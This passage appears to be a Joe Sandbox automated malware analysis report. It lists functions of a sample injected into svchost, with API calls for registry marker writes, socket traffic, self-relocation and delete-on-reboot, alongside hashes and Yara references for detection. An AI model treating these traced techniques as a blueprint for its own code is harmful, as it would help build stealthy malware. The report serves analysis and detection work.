                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memcpy$_snprintf
                                                                                                                                                                                                            • String ID: 0$%x$Content-Length
                                                                                                                                                                                                            • API String ID: 4125937431-3838797520
                                                                                                                                                                                                            • Opcode ID: 4bcd64099c38754b5a73ad97316702029716eb3aaca88d5469340e42f1ca76bc
                                                                                                                                                                                                            • Instruction ID: a42b72ec75270779993d312587d9d3877ef0e586c7961f17790e3f2809b81dc6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4bcd64099c38754b5a73ad97316702029716eb3aaca88d5469340e42f1ca76bc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C49182B5604706AFC714DF68D8D0A6BB3E9FF88314B148A19E85987B90DB30EC15CFA1
                                                                                                                                                                                                            Function 02D292D0 Relevance: 15.1, APIs: 10, Instructions: 97memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00004070,?,00000000,74E1A250,?,02D138A8,?), ref: 02D292E3
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02D138A8,?), ref: 02D292E6
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D292FB
                                                                                                                                                                                                            • CreateFileA.KERNEL32(02D138A8,40000000,00000003,00000000,00000002,00000080,00000000,?,02D138A8,?), ref: 02D29352
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02D138A8,?), ref: 02D29375
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02D138A8,?), ref: 02D29378
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02D138A8,?), ref: 02D29384
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02D138A8,?), ref: 02D29387
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000010,?,02D138A8,?), ref: 02D2939A
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02D138A8,?), ref: 02D2939D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$Alloc$CreateFileFreeValidatememset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 604365451-0
                                                                                                                                                                                                            • Opcode ID: 538dab6882f21be58f4ed2b511e987459e20883afd3f58ac36fe51ca15fc15f2
                                                                                                                                                                                                            • Instruction ID: d1cdab7c92b0b478231054a4e72ef59dd30315abd50b57e36a5e5fd0e0233880
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 538dab6882f21be58f4ed2b511e987459e20883afd3f58ac36fe51ca15fc15f2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 54318FB19017109FD7309F669998B47FBE8FB65718F50893EE2C997780C370A844CB54
                                                                                                                                                                                                            Function 02D0B600 Relevance: 15.1, APIs: 10, Instructions: 81synchronizationwindowthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0B623
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D0B650
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02D0B657
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000215,00000000,00000000), ref: 02D0B669
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D0B678
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 02D0B682
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0B694
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D0B6C1
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02D0B6C8
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000215,00000000,?), ref: 02D0B6DB
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$MessageMutexObjectReleaseSendSingleThreadWait$CurrentProcess
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2596333622-0
                                                                                                                                                                                                            • Opcode ID: 9a62767a72ce33cfc61890bef369d94b2ff858d93fadb22f2bf3342e8dc091be
                                                                                                                                                                                                            • Instruction ID: 7913844211fa22d6faeb30eebad09eb8f290f4c261df14507d52d53a9df1e4b6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9a62767a72ce33cfc61890bef369d94b2ff858d93fadb22f2bf3342e8dc091be
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D021E535A80250AFC3118F95F84CEA6B7E8EF59735B444966F505CB3A0C7B05C61CFA0
                                                                                                                                                                                                            Function 02D141E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 114registrymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D14214
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(00000104,software\microsoft,00000000,00000101,80000002,?,76EDC3F0,00000000), ref: 02D14237
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(80000002,?,00000000,00000001,00000000,00000104,?,76EDC3F0,00000000), ref: 02D1425A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000015,?,76EDC3F0,00000000), ref: 02D142CD
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,76EDC3F0,00000000), ref: 02D142D4
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D142E4
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(80000002,?,76EDC3F0,00000000), ref: 02D14312
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heapmemset$AllocCloseOpenProcessQueryValue
                                                                                                                                                                                                            • String ID: software\microsoft
                                                                                                                                                                                                            • API String ID: 4043890984-3673152959
                                                                                                                                                                                                            • Opcode ID: 3a8eefbd6cedb6aa324ad23c0ac55abf876108e7c551b772266d2b417b2ce089
                                                                                                                                                                                                            • Instruction ID: 4536d36138f7c9f54ed4e6159a6bdf315eb9378eb33d4fb0cbba937d6fb90257
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3a8eefbd6cedb6aa324ad23c0ac55abf876108e7c551b772266d2b417b2ce089
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7D311975D00219BBCB25CE64A848FDB7BF8AF85704F148294ED54A7700D7709E49CBE0
                                                                                                                                                                                                            Function 02D19BE0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 39registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D19BE7
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02D19BF9
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(-80000001,software\microsoft,00000000,00000102,02D19E3F,?,02D19E3F), ref: 02D19C13
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(02D19E3F,a3b7fa02a,00000000,00000004,00000004,00000004,02D19E3F), ref: 02D19C30
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?), ref: 02D19C3A
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02D19C44
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AdminCloseCountFlushOpenTickUserValue
                                                                                                                                                                                                            • String ID: a3b7fa02a$software\microsoft
                                                                                                                                                                                                            • API String ID: 287100044-649089720
                                                                                                                                                                                                            • Opcode ID: 690e1ff0c6c40883af79bbee4d4214e52f2859623cfd133755ae54fe9f8eb554
                                                                                                                                                                                                            • Instruction ID: 725d75bd013a3798c3e5b9120593888235901d53df825f800820d833bbd4e382
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 690e1ff0c6c40883af79bbee4d4214e52f2859623cfd133755ae54fe9f8eb554
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 95F0317DD80218FBD7109FA0FC49F9E77B8AB18705F504544FE02A2340D6706E148AE1
                                                                                                                                                                                                            Function 02D133A0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 39registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D133A7
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02D133B9
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(-80000001,software\microsoft,00000000,00000102,02D1581A,?,02D1581A), ref: 02D133D3
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(02D1581A,A3B7FA4Aa,00000000,00000004,00000004,00000004,02D1581A), ref: 02D133F0
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?), ref: 02D133FA
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02D13404
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AdminCloseCountFlushOpenTickUserValue
                                                                                                                                                                                                            • String ID: A3B7FA4Aa$software\microsoft
                                                                                                                                                                                                            • API String ID: 287100044-1822152813
                                                                                                                                                                                                            • Opcode ID: 3b628686d0157e9f5c21ed0029a95d3789aeb333a9ad1fc0b3fe1a126bab02ed
                                                                                                                                                                                                            • Instruction ID: e6522d266f08408013fd1799ad092c99076c1a4ae913415f90bb18d34f2a6cf6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3b628686d0157e9f5c21ed0029a95d3789aeb333a9ad1fc0b3fe1a126bab02ed
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 09F0447DD80218FBE7109FA0FC49F9D77B8EB18705F504544FE02A2340DA706E1586E5
                                                                                                                                                                                                            Function 02D036E0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 39registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D036E7
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02D036F9
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(-80000001,software\microsoft,00000000,00000102,?), ref: 02D03713
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(?,a3b7fb90a,00000000,00000004,?,00000004), ref: 02D03730
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?), ref: 02D0373A
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02D03744
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AdminCloseCountFlushOpenTickUserValue
                                                                                                                                                                                                            • String ID: a3b7fb90a$software\microsoft
                                                                                                                                                                                                            • API String ID: 287100044-452601912
                                                                                                                                                                                                            • Opcode ID: 375a116183edb5796773998bfd75a38b65005d899a09b9791748d3b55bb1f5fd
                                                                                                                                                                                                            • Instruction ID: 68e5c20345b4f07c5586a7aac1adae8b89d289a0c6d28f39f46a654679b73647
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 375a116183edb5796773998bfd75a38b65005d899a09b9791748d3b55bb1f5fd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E6F0447DD80218FBD7109FA0FC49F9D7778EB18705F504544FE02A2380DA706E1486E1
                                                                                                                                                                                                            Function 02D02AE0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: callocexitfree
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3367576030-0
                                                                                                                                                                                                            • Opcode ID: a7d0efe70a17a99d9ab0080d8dba03a211a178b9538376dd3b96244a8b63c636
                                                                                                                                                                                                            • Instruction ID: c7f4690df09028b58f12f2a6d5024d8704f24fa5cd447e0f5d8831bcd2cc557f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a7d0efe70a17a99d9ab0080d8dba03a211a178b9538376dd3b96244a8b63c636
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4F617C75A01609AFDB10DF68C8C8BAE7BA8FF88314F104419ED469B398D771EE51CB90
                                                                                                                                                                                                            Function 02D2D9B0 Relevance: 13.7, APIs: 9, Instructions: 191fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • select.WS2_32(?,00000000,?,00000000,?), ref: 02D2DA31
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02D2DA4A
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02D2DA5A
                                                                                                                                                                                                            • free.MSVCRT(00000000), ref: 02D2DA69
                                                                                                                                                                                                            • ReadFile.KERNEL32(?,00000000,00002000,?,00000000), ref: 02D2DA95
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 02D2DB77
                                                                                                                                                                                                            • free.MSVCRT ref: 02D2DB96
                                                                                                                                                                                                            • free.MSVCRT(?,?,00000000,00000000,00000000,?), ref: 02D2DBB3
                                                                                                                                                                                                            • free.MSVCRT(00000000), ref: 02D2DBB9
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: free$malloc$CloseFileHandleReadselect
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 158848325-0
                                                                                                                                                                                                            • Opcode ID: 55761a511831709d477d795b96732bcf01e07a05f2fee356b599a8c11610e675
                                                                                                                                                                                                            • Instruction ID: 34f18e176806f2aeaebdb8456b8aa76ef999a6658c511eb2788638136e98f930
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 55761a511831709d477d795b96732bcf01e07a05f2fee356b599a8c11610e675
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4251D4719006249FDB10DF689C84BFFB7FAEB55328F200569E559E7380D670AD05CBA0
                                                                                                                                                                                                            Function 02D0C100 Relevance: 13.6, APIs: 9, Instructions: 120synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WindowFromDC.USER32(?), ref: 02D0C10C
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0C144
                                                                                                                                                                                                            • CreateRectRgn.GDI32(00000001,00000001,00000001,00000001), ref: 02D0C152
                                                                                                                                                                                                            • GetClipRgn.GDI32(?,00000000), ref: 02D0C15C
                                                                                                                                                                                                            • SelectClipRgn.GDI32(00000000,00000000), ref: 02D0C16C
                                                                                                                                                                                                            • DeleteObject.GDI32(00000000), ref: 02D0C173
                                                                                                                                                                                                            • GetViewportOrgEx.GDI32(?,?), ref: 02D0C17E
                                                                                                                                                                                                            • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 02D0C192
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D0C1D3
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ClipObjectViewport$CreateDeleteFromMutexRectReleaseSelectSingleWaitWindow
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3315380975-0
                                                                                                                                                                                                            • Opcode ID: 6855a8d66b9572af302494eacb5e2c8f96cc901dba39f57badd2ad87e7dc0612
                                                                                                                                                                                                            • Instruction ID: 133700c27e47c31e3437f77399bd0a8b5229c163852c2670d7ad6d00a79d870b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6855a8d66b9572af302494eacb5e2c8f96cc901dba39f57badd2ad87e7dc0612
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3241FB7A610205AFCB14CF99EC84EAB77F9EB9C755B508A09F909D7380D634EC51CBA0
                                                                                                                                                                                                            Function 00401520 Relevance: 13.6, APIs: 9, Instructions: 66fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(00401F70,?,0000001C), ref: 0040154F
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 00401565
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 00401572
                                                                                                                                                                                                            • GetTempPathA.KERNEL32(00000104,?,00000000), ref: 00401589
                                                                                                                                                                                                            • GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 004015A1
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 004015BD
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 004015CC
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 004015D9
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 004015ED
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$MoveNamePathTemp$AttributesDeleteExistsModuleQueryVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2787354276-0
                                                                                                                                                                                                            • Opcode ID: 3973d0feee2bd4d46e794484f13dae327776c0d4aca43c2d9e078c91308a651e
                                                                                                                                                                                                            • Instruction ID: 1f2af84f05926cbb5e0b354959f29bdceae47d8b45da359f5ec46e55e0df53d3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3973d0feee2bd4d46e794484f13dae327776c0d4aca43c2d9e078c91308a651e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3F21FCB1D00219AFDB10DBA0DD49FEA77BCAB48700F0045AAA709F6190EB749B448FA5
                                                                                                                                                                                                            Function 02D2A010 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226timeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D303B0: select.WS2_32(?,?,00000000,00000000,?), ref: 02D30437
                                                                                                                                                                                                              • Part of subcall function 02D303B0: __WSAFDIsSet.WS2_32(?,?), ref: 02D30468
                                                                                                                                                                                                              • Part of subcall function 02D303B0: recv.WS2_32(?,?,00000005,00000000), ref: 02D3048B
                                                                                                                                                                                                              • Part of subcall function 02D303B0: recv.WS2_32(?,?,00000004,00000000), ref: 02D304AD
                                                                                                                                                                                                              • Part of subcall function 02D303B0: socket.WS2_32(00000002,00000001,00000000), ref: 02D304C6
                                                                                                                                                                                                              • Part of subcall function 02D303B0: setsockopt.WS2_32(00000000,00000006,00000001,00000001,00000004), ref: 02D304E2
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02D2A033
                                                                                                                                                                                                            • GetSystemTime.KERNEL32(?), ref: 02D2A107
                                                                                                                                                                                                            • GetSystemTime.KERNEL32(?), ref: 02D2A152
                                                                                                                                                                                                            • GetSystemTime.KERNEL32(00000000,?), ref: 02D2A1E4
                                                                                                                                                                                                            • GetSystemTime.KERNEL32(SYSTEM!216041!38425AAC,?), ref: 02D2A232
                                                                                                                                                                                                            • free.MSVCRT(00000000), ref: 02D2A2EF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: SystemTime$recv$freemallocselectsetsockoptsocket
                                                                                                                                                                                                            • String ID: SYSTEM!216041!38425AAC
                                                                                                                                                                                                            • API String ID: 2153857484-2637391767
                                                                                                                                                                                                            • Opcode ID: f5184828980c4ec211ab11510030acf629b829ecde9f428a5135c29a08e8b0ee
                                                                                                                                                                                                            • Instruction ID: 0ae67b7e95de43463cf62b44aa97afd128162c5fb8d6480f94fd88a5dc862fce
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f5184828980c4ec211ab11510030acf629b829ecde9f428a5135c29a08e8b0ee
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1791E331A00A258FDB28CF28C1547BEBBF1EF54318F14466EE4969B784D735E885CB60
                                                                                                                                                                                                            Function 02D1AAC0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 98libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1AAD7
                                                                                                                                                                                                            • GetVersionExW.KERNEL32(?), ref: 02D1AAFA
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02D1ABCB
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02D1ABDC
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 02D1ABEC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCurrentHandleModuleProcProcessVersionmemset
                                                                                                                                                                                                            • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                            • API String ID: 877405840-3024904723
                                                                                                                                                                                                            • Opcode ID: ef37cdd3da0c5a9d9cfe4418ad8c97a33e21be5a08fe71d54b65468092b416a4
                                                                                                                                                                                                            • Instruction ID: cb10e7cc80ee4e2b0cc439f3f14c785dd70d2b8ccf6eea217c93aab33f53a699
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ef37cdd3da0c5a9d9cfe4418ad8c97a33e21be5a08fe71d54b65468092b416a4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 05319E34A02299ABDF38CF64EA95BF973B6AF01304F400199D60596B40EB719E90CB50
                                                                                                                                                                                                            Function 02D1BAC6 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 79threadCOMMON
